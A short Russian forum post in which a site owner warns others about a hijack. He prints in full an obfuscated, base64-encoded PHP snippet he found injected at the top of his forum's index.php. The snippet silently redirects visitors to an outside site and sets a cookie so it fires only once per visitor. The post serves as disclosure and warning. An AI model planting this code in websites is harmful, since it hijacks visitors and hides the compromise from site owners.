
но при нажатии на f5 попадал к себе на сайт.... ну думаю попал........
почесал голову, полазил по файликам, и нашел вредносный код редиректа в файлике index.php что в корне движка форума и в самом верху находился код вида
<? $GLOBALS['_1711501677_']=Array(base64_decode('' .'aGVhZGVy'),base64_decode('' .'c2' .'V' .'0Y29va2l' .'l'),base64_decode('d' .'G' .'ltZ' .'Q=' .'=')); ?><? function _2059483510($i){$a=Array('aHR0cDov' .'L3d3d' .'y5u' .'ZXQtY' .'2hl' .'ay5ydS8=','YXJ4','TG9jYXR' .'pb2' .'46','' .'YX' .'J' .'4','MQ=' .'=','' .'Lw==');return base64_decode($a[$i]);} ?><?php $_0=_2059483510(0);if(!isset($_COOKIE[_2059483510(1)])){$GLOBALS['_1711501677_'][0](_2059483510(2) .$_0);$GLOBALS['_1711501677_'][1](_2059483510(3),_2059483510(4),$GLOBALS['_1711501677_'][2]()+round(0+0.8+0.8+0.8+0.8+0.8)*round(0+1800+1800),_2059483510(5));} ?>
Так что будте внимательнее и берегите свои сайты 8-)